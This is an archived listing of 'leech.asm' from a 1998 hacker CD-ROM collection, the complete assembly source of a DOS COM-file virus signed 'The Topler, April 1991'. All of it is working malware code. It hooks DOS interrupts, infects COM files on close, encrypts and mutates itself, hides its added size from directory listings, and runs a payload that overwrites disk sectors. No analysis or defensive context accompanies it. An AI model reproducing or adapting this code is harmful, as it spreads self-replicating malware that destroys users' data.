home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / leech.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  14.7 KB  |  502 lines

  1.  
  2. :
  3. code               segment
  4.                    assume cs:code
  5.                    org  100h
  6.  
  7. start:
  8.                    jmp  begin
  9.  
  10.                    org  200h
  11. begin:
  12.                    jmp  short beg
  13.  
  14. FileSize           dw   0E00h; 02h
  15. int21vec           dd   0    ; 04h
  16. oldint13           dd   0    ; 08h
  17. oldint24           dd   0    ; 0Ch
  18. Date               dw   0    ; 10h
  19. Time               dw   0    ; 12h
  20.                    db   1    ; 14h
  21. version            dw   0    ; 15h   - mutation status
  22.  
  23. beg:
  24.                    call codenext
  25. codenext:
  26.                    pop  si
  27. mutation1:
  28.                    cli
  29.                    push ds
  30.                    pop  es
  31.                    mov  bp,sp
  32.                    mov  sp,si
  33.                    add  sp,3FEh-(offset codenext-offset begin)
  34. mutation2:
  35.                    mov  cx,ss
  36.                    mov  ax,cs
  37.                    mov  ss,ax
  38.                    pop  bx
  39.                    dec  sp
  40.                    dec  sp
  41.                    add  si,offset mybeg-offset codenext
  42. codeloop:
  43.                    pop  ax
  44.                    xor  al,bh
  45.                    push ax
  46.                    dec  sp
  47.                    cmp  sp,si
  48.                    jnc  codeloop
  49. mybeg:
  50.                    mov  ax,es
  51.                    dec  ax
  52.                    mov  ds,ax
  53.                    add  word ptr ds:[3],-082h
  54.                    mov  bx,ds:[3]
  55.                    mov  byte ptr ds:[0],5ah
  56.                    inc  ax
  57.                    inc  bx
  58.                    add  bx,ax
  59.                    mov  es,bx
  60.                    mov  ss,cx
  61.                    add  si,offset begin-offset mybeg
  62.                    mov  bx,ds
  63.                    mov  ds,ax
  64.                    mov  sp,bp
  65.                    push si
  66.                    xor  di,di
  67.                    mov  cx,400h
  68.                    cld
  69.                    rep  movsb
  70.                    pop  si
  71.                    push bx
  72.                    mov  bx,offset inblock-offset begin
  73.                    push es
  74.                    push bx
  75.                    retf
  76. inblock:
  77.                    mov  es,ax
  78.                    mov  ax,cs:[2]                ; File Size
  79.                    add  ax,100h
  80.                    mov  di,si
  81.                    mov  si,ax
  82.                    mov  cx,400h
  83.                    rep  movsb
  84.                    pop  es
  85.                    xor  ax,ax
  86.                    mov  ds,ax
  87.                    sti
  88.                    cmp  word ptr ds:[21h*4],offset int21-offset begin
  89.                    jne  count
  90.                    sub  word ptr es:[3],-082h
  91.                    test byte ptr ds:[46ch],11100111b
  92.                    jnz  efect1
  93.                    push cs
  94.                    pop  ds
  95.                    mov  si,offset msg-offset begin
  96. efect2:
  97.                    lodsb
  98.                    or   al,0
  99.                    jz   efect3
  100.                    mov  ah,0eh
  101.                    int  10h
  102.                    jmp  short efect2
  103. efect3:
  104.                    mov  ah,32h
  105.                    xor  dl,dl
  106.                    int  21h
  107.                    jc   efect1
  108.                    call setaddr
  109.                    call setint
  110.                    mov  dx,ds:[bx+10h]
  111.                    mov  ah,19h
  112.                    int  21h
  113.                    mov  cx,2
  114.                    int  26h
  115.                    pop  bx
  116.                    call setint
  117. efect1:
  118.                    jmp  quit
  119. count:
  120.                    add  word ptr es:[12h],-082h
  121.                    mov  bx,ds:[46ch]
  122.                    push ds
  123.                    push cs
  124.                    pop  ds
  125.                    push cs
  126.                    pop  es
  127.                    mov  byte ptr ds:[14h],1
  128.                    and  bh,80h
  129.                    mov  ds:[4ffh],bh
  130.                    test bl,00000001b
  131.                    jnz  mut1
  132.                    mov  si,offset mutation1-offset begin
  133.                    add  si,ds:[15h]
  134.                    lodsb
  135.                    xchg al,ds:[si]
  136.                    mov  ds:[si-1],al
  137. mut1:
  138.                    test bl,00000010b
  139.                    jnz  mut2
  140.                    mov  si,offset mutation2-offset begin
  141.                    add  si,ds:[15h]
  142.                    lodsw
  143.                    xchg ax,ds:[si]
  144.                    mov  ds:[si-2],ax
  145. mut2:
  146.                    test bl,00000100b
  147.                    jnz  mut3
  148.                    mov  si,offset codeloop-offset begin
  149.                    mov  al,2
  150.                    xor  byte ptr ds:[si],al
  151.                    xor  byte ptr ds:[si+2],al
  152.                    xor  byte ptr ds:[si+3],al
  153. mut3:
  154.                    test bl,00001000b
  155.                    jnz  mut4
  156.                    mov  si,offset codenext-offset begin
  157.                    mov  di,400h
  158.                    mov  cx,offset codeloop-offset codenext-2
  159.                    push si
  160.                    push di
  161.                    lodsb
  162.                    cmp  al,5eh
  163.                    je   jmp1
  164.                    inc  si
  165. jmp1:
  166.                    push cx
  167.                    rep  movsb
  168.                    pop  cx
  169.                    pop  si
  170.                    pop  di
  171.                    cmp  al,5eh
  172.                    je   jmp2
  173.                    mov  al,5Eh
  174.                    stosb
  175.                    rep  movsb
  176.                    mov  al,90h
  177.                    stosb
  178.                    xor  ax,ax
  179.                    jmp  short jmp3
  180. jmp2:
  181.                    mov  ax,0C68Fh
  182.                    stosw
  183.                    rep  movsb
  184.                    mov  ax,1
  185. jmp3:
  186.                    mov  cs:[15h],ax
  187. mut4:
  188.                    mov  ah,30h
  189.                    int  21h
  190.                    cmp  ax,1e03h
  191.                    jne  nodos33
  192.                    mov  ah,34h
  193.                    int  21h
  194.                    mov  bx,1460h
  195.                    jmp  short dos33
  196. nodos33:
  197.                    mov  ax,3521h
  198.                    int  21h
  199. dos33:
  200.                    mov  ds:[4],bx
  201.                    mov  ds:[6],es
  202.                    mov  si,21h*4
  203.                    pop  ds
  204.                    push si
  205.                    push cs
  206.                    pop  es
  207.                    mov  di,offset intend-offset begin+1
  208.                    movsw
  209.                    movsw
  210.                    pop  di
  211.                    push ds
  212.                    pop  es
  213.                    mov  ax,offset int21-offset begin
  214.                    stosw
  215.                    mov  ax,cs
  216.                    stosw
  217.                    mov  di,offset mybeg-offset begin
  218.                    mov  al,cs:[3ffh]
  219. coderloop:
  220.                    xor  cs:[di],al
  221.                    inc  di
  222.                    cmp  di,offset coderloop-offset begin
  223.                    jc   coderloop
  224. quit:
  225.                    mov  ah,62h
  226.                    int  21h
  227.                    push bx
  228.                    mov  ds,bx
  229.                    mov  es,bx
  230.                    mov  ax,100h
  231.                    push ax
  232.                    retf
  233. ;------------------------------------------------------------------------------
  234. infect:
  235.                    push si
  236.                    push ds
  237.                    push es
  238.                    push di
  239.                    cld
  240.                    push cs
  241.                    pop  ds
  242.                    xor  dx,dx
  243.                    call movefp
  244.                    mov  dx,400h
  245.                    mov  ah,3fh
  246.                    mov  cx,3
  247.                    call Dos
  248.                    jc   infect4
  249.                    xor  di,di
  250.                    mov  ax,word ptr ds:[400h]
  251.                    mov  cx,ds:[0]
  252.                    cmp  cx,ax
  253.                    je   infect8
  254.                    cmp  al,0EBH  ; near jmp
  255.                    jne  infect1
  256.                    mov  al,ah
  257.                    xor  ah,ah
  258.                    add  ax,2
  259.                    mov  di,ax
  260. infect1:
  261.                    cmp  al,0E9h  ; far jmp
  262.                    jne  infect2
  263.                    mov  ax,ds:[401h]
  264.                    add  ax,3
  265.                    mov  di,ax
  266.                    xor  ax,ax
  267. infect2:
  268.                    cmp  ax,'MZ'
  269.                    je   infect4
  270.                    cmp  ax,'ZM'
  271.                    jne  infect3
  272. infect4:
  273.                    stc
  274. infect8:
  275.                    jmp  infectquit
  276. infect3:
  277.                    mov  dx,di
  278.                    push cx
  279.                    call movefp
  280.                    mov  dx,400h
  281.                    mov  ah,3fh
  282.                    mov  cx,dx
  283.                    call Dos
  284.                    pop  cx
  285.                    jc   infect4
  286.                    cmp  ds:[400h],cx
  287.                    je   infect8
  288.                    mov  ax,di
  289.                    sub  ah,-4
  290.                    cmp  ax,ds:[2]
  291.                    jnc  infect4
  292.                    mov  dx,ds:[2]
  293.                    call movefp
  294.                    mov  dx,400h
  295.                    mov  cx,dx
  296.                    mov  ah,40h
  297.                    call Dos
  298. infect6:
  299.                    jc   infectquit
  300.                    mov  dx,di
  301.                    call movefp
  302.                    push cs
  303.                    pop  es
  304.                    mov  di,400h
  305.                    push di
  306.                    push di
  307.                    xor  si,si
  308.                    mov  cx,di
  309.                    rep  movsb
  310.                    mov  si,400h+offset coderloop-offset begin
  311.                    mov  al,ds:[7ffh]
  312. infect5:
  313.                    xor  ds:[si],al
  314.                    inc  si
  315.                    cmp  si,07ffh
  316.                    jc   infect5
  317.                    pop  cx
  318.                    pop  dx
  319.                    mov  ah,40h
  320.                    call Dos
  321. infectquit:
  322.                    pop  di
  323.                    pop  es
  324.                    pop  ds
  325.                    pop  si
  326.                    ret
  327. int21:
  328.                    cmp  ax,4b00h
  329.                    je   exec
  330.                    cmp  ah,3eh
  331.                    je   close
  332.                    cmp  ah,11h
  333.                    je   dir
  334.                    cmp  ah,12h
  335.                    je   dir
  336. intend:
  337.                    db   0eah,0,0,0,0
  338.  
  339. dir:
  340.                    push si
  341.                    mov  si,offset intend-offset begin+1
  342.                    pushf
  343.                    call dword ptr cs:[si]
  344.                    pop  si
  345.                    push ax
  346.                    push bx
  347.                    push es
  348.                    mov  ah,2fh
  349.                    call dos
  350.                    cmp  byte ptr es:[bx],0ffh
  351.                    jne  dir2
  352.                    add  bx,7
  353. dir2:
  354.                    mov  ax,es:[bx+17h]
  355.                    and  ax,1fh
  356.                    cmp  ax,1eh
  357.                    jne  dir1
  358.                    mov  ax,es:[bx+1dh]
  359.                    cmp  ax,0801h
  360.                    jc   dir1
  361.                    sub  ax,400h
  362.                    mov  es:[bx+1dh],ax
  363. dir1:
  364.                    pop  es
  365.                    pop  bx
  366.                    pop  ax
  367.                    iret
  368. int24:
  369.                    mov  al,3
  370.                    iret
  371. Dos:
  372.                    pushf
  373.                    call dword ptr cs:[4]
  374.                    ret
  375. moveFP:
  376.                    xor  cx,cx
  377.                    mov  ax,4200h
  378.                    call Dos
  379.                    ret
  380. exec:
  381.                    push ax
  382.                    push bx
  383.                    mov  byte ptr cs:[14h],0
  384.                    mov  ax,3d00h
  385.                    call dos
  386.                    mov  bx,ax
  387.                    mov  ah,3eh
  388.                    int  21h
  389.                    pop  bx
  390.                    pop  ax
  391. intendjmp:
  392.                    jmp  short intend
  393. close:
  394.                    or   byte ptr cs:[14h],0
  395.                    jnz  intendjmp
  396.                    push cx
  397.                    push dx
  398.                    push di
  399.                    push es
  400.                    push ax
  401.                    push bx
  402.                    call setaddr
  403.                    call setint
  404.                    mov  ax,1220h
  405.                    int  2fh
  406.                    jc   closequit
  407.                    mov  ax,1216h
  408.                    mov  bl,es:[di]
  409.                    xor  bh,bh
  410.                    int  2fh
  411.                    mov  ax,es:[di+11h]
  412.                    mov  cs:[2],ax
  413.                    mov  ax,es:[di+0dh]
  414.                    and  al,0f8h
  415.                    mov  cs:[12h],ax
  416.                    mov  ax,es:[di+0fh]
  417.                    mov  cs:[10h],ax
  418.                    cmp  word ptr es:[di+29h],'MO'
  419.                    jne  closequit
  420.                    cmp  byte ptr es:[di+28h],'C'
  421.                    jne  closequit
  422.                    cmp  cs:[2],0FA00h
  423.                    jnc  closequit
  424.                    mov  al,20h
  425.                    xchg al,es:[di+4]
  426.                    mov  ah,2
  427.                    xchg es:[di+2],ah
  428.                    pop  bx
  429.                    push bx
  430.                    push ax
  431.                    call infect
  432.                    pop  ax
  433.                    mov  es:[di+4],al
  434.                    mov  es:[di+2],ah
  435.                    mov  cx,cs:[12h]
  436.                    jc   close1
  437.                    or   cl,1fh
  438.                    and  cl,0feh
  439. close1:
  440.                    mov  dx,cs:[10h]
  441.                    mov  ax,5701h
  442.                    call Dos
  443. closequit:
  444.                    pop  bx
  445.                    pop  ax
  446.                    pop  es
  447.                    pop  di
  448.                    pop  dx
  449.                    pop  cx
  450.                    call dos
  451.                    call setint
  452.                    retf 02
  453. setaddr:
  454.                    mov  ah,13h
  455.                    int  2fh
  456.                    mov  cs:[8d],bx
  457.                    mov  cs:[10d],es
  458.                    int  2fh
  459.                    mov  cs:[12d],offset int24-offset begin
  460.                    mov  cs:[14d],cs
  461.                    ret
  462. setint:
  463.                    push ax
  464.                    push si
  465.                    push ds
  466.                    pushf
  467.                    cli
  468.                    cld
  469.                    xor  ax,ax
  470.                    mov  ds,ax
  471.                    mov  si,13h*4
  472.                    lodsw
  473.                    xchg ax,cs:[8]
  474.                    mov  ds:[si-2],ax
  475.                    lodsw
  476.                    xchg ax,cs:[10d]
  477.                    mov  ds:[si-2],ax
  478.                    mov  si,24h*4
  479.                    lodsw
  480.                    xchg ax,cs:[12d]
  481.                    mov  ds:[si-2],ax
  482.                    lodsw
  483.                    xchg ax,cs:[14d]
  484.                    mov  ds:[si-2],ax
  485.                    popf
  486.                    pop  ds
  487.                    pop  si
  488.                    pop  ax
  489.                    ret
  490. msg:
  491.                    db   'The leech live ...',0
  492.                    db   'April 1991  The Topler.',0
  493.  
  494.                    org  0F00h
  495.  
  496.                    int  20h
  497.  
  498. code               ends
  499.                    end  start
  500.  
  501.  
  502.